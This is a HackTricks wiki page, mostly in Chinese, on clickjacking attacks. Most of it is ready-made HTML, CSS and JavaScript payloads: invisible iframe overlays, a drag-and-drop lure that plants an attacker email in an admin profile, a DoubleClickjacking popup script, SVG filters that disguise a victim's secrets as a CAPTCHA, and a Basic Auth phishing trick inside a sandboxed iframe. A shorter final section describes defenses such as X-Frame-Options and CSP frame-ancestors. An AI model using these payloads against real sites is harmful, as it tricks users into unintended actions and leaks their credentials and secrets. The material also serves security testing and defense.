Clickjacking

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 Clickjacking

在一次 clickjacking 攻击中,用户欺骗点击网页上的一个元素,该元素要么不可见,要么伪装成不同的元素。这种操控可能导致用户出现意外后果,例如下载恶意软件、重定向到恶意网页、提供凭证或敏感信息、资金转移,或在网上购买商品。

预填表单技巧

有时可以通过 在加载页面时使用 GET 参数填充表单字段的值。攻击者可能滥用此行为,用任意数据填充表单并发送 clickjacking payload,从而诱使用户按下 Submit 按钮。

使用 Drag&Drop 填充表单

如果你需要用户 填写表单,但又不想直接要求他输入某些特定信息(比如你已知的 email 或特定密码),你可以只要求他 Drag&Drop 某些内容,这些内容会写入你可控的数据,像 this example 所示。

基本 Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

多步 Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

如果你发现一个需要用户点击某个元素才能触发XSS attack,并且页面对 clickjacking 存在漏洞,你可以利用它诱导用户点击该按钮/链接。
示例:
你在账户的某些私有信息中发现了一个 self XSS(这些信息只有你可以设置和读取)。用于设置这些信息的 form 页面对 Clickjacking 存在漏洞,并且你可以用 GET parameters 预填充form
攻击者可以针对该页面准备一个 Clickjacking 攻击,通过 预填充formXSS payload 放入,并诱导 用户 提交 表单。所以,当表单被提交 且值被修改时,用户将执行 XSS

DoubleClickjacking

Firstly explained in this post,这种技术会让受害者在放置于特定位置的自定义页面上双击一个按钮,并利用 mousedownonclick 事件之间的时序差异在双击过程中加载受害者页面,从而让 受害者实际上点击到受害者页面中的合法按钮

一个示例可以在这个视频中看到: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

该技术可以诱导用户在受害者页面上的同一位置点击,从而绕过针对 clickjacking 的各种防护。因此攻击者需要找到只需一次点击即可完成的敏感操作,例如 OAuth 提示接受权限

有些 PoCs 完全放弃 iframes,改为在光标下方保留一个与之对齐的 background popup。攻击者页面跟踪 mousemove,并使用一个小的弹出窗口(window.open),在其为 same-origin 时通过 moveTo() 移动;对齐后,将其重定向回 target origin,这样下一次点击就会落在真实按钮上。因为跨域的 moveTo() 会被阻止,popup 会被短暂导航到攻击者域以便重新定位,然后通过 location/history.back() 返回到目标。为了在点击时呈现目标,攻击者可以用相同的窗口名称重新打开该 popup with the same window name,将其带到前台而不改变 URL。

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

现代 Chromium/WebKit/Gecko 构建允许将 CSS filter:url(#id) 应用于跨源 iframe。iframe 的光栅化像素作为 SourceGraphic 暴露给 SVG filter graph,因此像 feDisplacementMapfeBlendfeCompositefeColorMatrixfeTilefeMorphology 等原语可以在用户看到之前任意扭曲受害者的 UI,即使攻击者从未接触 DOM。一个简单的 Liquid-Glass 风格滤镜如下:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • 有用的原语:feImage 加载攻击者位图(例如,overlays、displacement maps);feFlood 构建恒定颜色的遮罩;feOffset/feGaussianBlur 细化高光;feDisplacementMap 折射/扭曲文本;feComposite operator="arithmetic" 实现任意的每通道数学运算(r = k1*i1*i2 + k2*i1 + k3*i2 + k4),足以用于对比度增强、遮罩以及 AND/OR 操作;feTile 裁剪并复制像素探针;feMorphology 放大/缩小笔触;feColorMatrix 将 luma 移入 alpha 以构建精确的遮罩。

将秘密扭曲为 CAPTCHA 风格的提示

如果一个可被嵌入的 endpoint 呈现机密(tokens、reset codes、API keys),攻击者可以将它们扭曲成类似 CAPTCHA 的样式并强迫人工转录:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

失真像素会欺骗用户,让他们在攻击者控制的 <input> 中“solving” captcha,其 pattern 强制执行真实受害者的秘密。

重新构建受害者输入的语境

过滤器可以外科式地删除占位符/验证文本,同时保留用户的按键。一个工作流程:

  1. feComposite operator="arithmetic" k2≈4 放大亮度,使灰色辅助文本饱和为白色。
  2. feTile 将工作区域限制为输入矩形。
  3. feMorphology operator="erode" 加粗受害者输入的深色字形,并通过 result="thick" 存储它们。
  4. feFlood 创建一个白色板,feBlend mode="difference"thick 结合,第二个 feComposite k2≈100 将其变成明显的亮度遮罩。
  5. feColorMatrix 将该亮度移动到 alpha,feComposite in="SourceGraphic" operator="in" 仅保留用户输入的字形。
  6. 另一个 feBlend in2="white" 加上细微裁剪会得到一个干净的文本框,此后攻击者覆盖他们自己的 HTML 标签(例如,“Enter your email”),而隐藏的 iframe 仍然强制执行受害者源的密码策略。

Safari 在处理 feTile 时表现不佳;相同效果可以通过由 feFlood + feColorMatrix + feComposite 构建的空间遮罩来重现,用于仅限 WebKit 的 payloads。

像素探测、逻辑与状态机

通过使用 feTile 裁剪一个 2–4 px 的区域并将其平铺到视口的 100%,攻击者将采样到的颜色转换为全帧纹理,随后可以将其阈值化为布尔掩码:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

对于任意颜色,feFlood 引用(例如 #0B57D0)加上 feBlend mode="difference" 和另一个算术合成(k2≈100,将 k4 作为容差)只有在采样像素与目标色匹配时才输出白色。将这些掩码输入 feComposite 并调节 k1..k4 可以构造逻辑门:通过 k1=1 实现 AND,通过 k2=k3=1 实现 OR,使用 feBlend mode="difference" 实现 XOR,通过与白色混合实现 NOT。将这些门在滤镜图中串联即可构建一个全加器,证明该流水线在功能上是完备的。

因此攻击者可以在不使用 JavaScript 的情况下读取 UI 状态。下面是来自模态工作流的一些示例布尔值:

  • D (dialog visible):探测一个被变暗的角落并与白色进行比较。
  • L (dialog loaded):探测按钮就绪后出现的位置坐标。
  • C (checkbox checked):将复选框像素与活动蓝色 #0B57D0 比较。
  • R (red success/failure banner):在横幅矩形内使用 feMorphology 和红色阈值。

每个检测到的状态都会控制通过 feImage xlink:href="data:..." 嵌入的不同覆盖位图。用 DLCR 掩码这些位图可以让覆盖层与真实对话框保持同步,并在不暴露 DOM 的情况下引导受害者完成多步骤工作流(密码重置、审批、破坏性确认)。

Sandboxed iframe Basic Auth dialog (no allow-popups)

A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. The dialog is spawned by the browser’s networking/auth layer (not JS alert/prompt/confirm), so popup restrictions in the sandbox do not suppress it. If you can script the iframe (e.g., sandbox="allow-scripts") you can navigate it to any endpoint issuing a Basic Auth challenge:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

一旦响应到达,浏览器即使在禁止弹窗的情况下也会提示输入凭证。用此技巧对受信任的源进行 framing 能够实现 UI redress/phishing:在 “sandboxed” 小部件内出现的意外模态提示会使用户混淆,或触发密码管理器提供已存凭据。

Browser extensions: DOM-based autofill clickjacking

除了对受害页面进行 iframing 外,攻击者还可以针对注入到页面中的浏览器扩展 UI 元素。密码管理器会在聚焦输入框附近渲染 autofill 下拉菜单;通过聚焦攻击者控制的字段并隐藏/遮挡扩展的下拉菜单(不透明度/覆盖层/顶层技巧),被胁迫的用户点击就可能选择已存条目并将敏感数据填入攻击者控制的输入框。该变体不需要 iframe 暴露,完全通过 DOM/CSS 操作实现。

A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.

Strategies to Mitigate Clickjacking

Client-Side Defenses

客户端执行的脚本可以采取一些措施来防止 Clickjacking:

  • 确保应用窗口是主窗口或顶层窗口。
  • 使所有 frames 可见。
  • 阻止对不可见 frames 的点击。
  • 检测并提醒用户潜在的 Clickjacking 企图。

然而,这些 frame-busting 脚本可能被绕过:

  • Browsers’ Security Settings: 某些浏览器可能基于其安全设置或缺乏 JavaScript 支持而阻止这些脚本。
  • HTML5 iframe sandbox Attribute: 通过在 iframe 上设置 sandbox 属性并包含 allow-formsallow-scripts(但不包含 allow-top-navigation),攻击者可以使 frame-buster 脚本失效。这会阻止 iframe 验证自身是否为顶层窗口,例如:
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.

服务端防护

X-Frame-Options

The X-Frame-Options HTTP response header informs browsers about the legitimacy of rendering a page in a <frame> or <iframe>, helping to prevent Clickjacking:

  • X-Frame-Options: deny - No domain can frame the content.
  • X-Frame-Options: sameorigin - Only the current site can frame the content.
  • X-Frame-Options: allow-from https://trusted.com - Only the specified ‘uri’ can frame the page.
  • Note the limitations: if the browser doesn’t support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.

Content Security Policy (CSP) 的 frame-ancestors 指令

CSP 中的 frame-ancestors 指令 是防护 Clickjacking 的推荐方法:

  • frame-ancestors 'none' - Similar to X-Frame-Options: deny.
  • frame-ancestors 'self' - Similar to X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similar to X-Frame-Options: allow-from.

For instance, the following CSP only allows framing from the same domain:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) 与 child-srcframe-src

Content Security Policy (CSP) 是一项安全措施,通过指定浏览器允许从哪些来源加载内容,来帮助防止 Clickjacking 和其他代码注入攻击。

frame-src Directive

  • Defines valid sources for frames.
  • More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

该策略允许来自同一来源(self)和 https://trusted-website.com 的框架。

child-src Directive

  • 在 CSP level 2 中引入,用于为 web workers 和 frames 设置有效来源。
  • 作为 frame-src 和 worker-src 的回退。
Content-Security-Policy: child-src 'self' https://trusted-website.com;

此策略允许来自相同来源 (self) 和 https://trusted-website.com 的 frames 和 workers。

使用说明:

  • 弃用:child-src 正在被 frame-src 和 worker-src 取代。
  • 回退行为:如果 frame-src 未指定,则会使用 child-src 作为 frames 的回退。如果两者都未指定,则使用 default-src。
  • 严格来源定义:在指令中仅包含受信任的来源以防止被利用。

JavaScript Frame-Breaking Scripts

尽管并非完全可靠,基于 JavaScript 的 frame-busting 脚本可用于防止网页被嵌入框架。示例:

if (top !== self) {
top.location = self.location
}

使用 Anti-CSRF Tokens

  • Token Validation: 在 web 应用中使用 anti-CSRF tokens,确保任何会改变状态的请求都是用户有意发起的,而不是通过 Clickjacked 页面被触发。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks